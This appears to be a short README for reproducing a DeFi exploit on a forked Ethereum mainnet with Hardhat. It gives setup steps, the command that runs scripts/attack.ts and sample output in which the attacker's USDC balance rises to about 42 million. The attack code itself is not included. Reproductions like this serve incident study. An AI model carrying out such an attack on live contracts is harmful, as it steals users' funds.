Install nodejs/npm first
Set up the forking url
(in hardhat.config.ts
)
e.g. https://speedy-nodes-nyc.moralis.io/your-api-key/eth/mainnet/archive ( You need to apply for speedy-nodes from moralis.io)
Then run
npm install
npx hardhat run scripts/attack.ts
You will see similar output later
USDC balance of attacker: 0.0
Exploiting...
Exploit complete.
USDC balance of attacker: 42062065.615197
This means the attack is complete
The block height of the fork is 14595905